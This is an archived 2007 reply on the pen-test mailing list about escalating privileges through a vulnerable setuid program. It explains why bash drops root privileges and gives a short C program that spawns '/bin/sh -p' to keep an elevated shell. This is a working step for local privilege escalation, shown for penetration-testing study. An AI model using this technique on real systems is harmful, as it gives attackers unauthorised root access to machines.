pen-test
[Top] [All Lists]

Re: question on escalating privileges via suid vulnerabilities

To: John McGuire <jmcguire81@gmail.com>
Subject: Re: question on escalating privileges via suid vulnerabilities
From: Christoph Bussenius <pepe-bugtraq@pepe.is-a-geek.org>
Date: Mon, 26 Feb 2007 13:51:04 +0100
Cc: pen-test@securityfocus.com
Delivered-to: sp-com-lists@consult.net
Delivered-to: pentest-list2@consult.net
Delivered-to: mailing list pen-test@securityfocus.com
Delivered-to: moderator for pen-test@securityfocus.com
In-reply-to: <7c488dd80702241052y225c158fn9b2c8372f10a6f3b@mail.gmail.com>
List-help: <mailto:pen-test-help@securityfocus.com>
List-id: <pen-test.list-id.securityfocus.com>
List-post: <mailto:pen-test@securityfocus.com>
List-subscribe: <mailto:pen-test-subscribe@securityfocus.com>
List-unsubscribe: <mailto:pen-test-unsubscribe@securityfocus.com>
Mailing-list: contact pen-test-help@securityfocus.com; run by ezmlm
References: <7c488dd80702241052y225c158fn9b2c8372f10a6f3b@mail.gmail.com>
Resent-date: Mon, 26 Feb 2007 13:29:30 -0700 (MST)
Resent-from: pen-test-return-1078483637@securityfocus.com
Resent-message-id: <20070226202930.C031223A766@outgoing3.securityfocus.com>
Resent-sender: listbounce@securityfocus.com
Sender: listbounce@securityfocus.com
User-agent: Mutt/1.5.11
Hi John,

On Sat, Feb 24, 2007 at 11:52:49AM -0700, John McGuire wrote:
> When I run the app as a non-root user, I get a /bin/sh prompt with
> that users perms, not roots. I modified this program a bit to take an
> argument off the command line and passed it `whoami`. This returned
> root as the response. /bin/sh however belongs to the lower priv user.

Bash resets its effective uid to the real uid unless you give it the -p
switch.  This will work:

#include <stdio.h>
int main() {
       char *arr[3];
       arr[0] = "/bin/sh";
       arr[1] = "-p";
       arr[2] = NULL;
       execve (arr[0], arr, NULL);
}

Regards,
Christoph

------------------------------------------------------------------------
This List Sponsored by: Cenzic

Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.

http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------


<Prev in Thread] Current Thread [Next in Thread>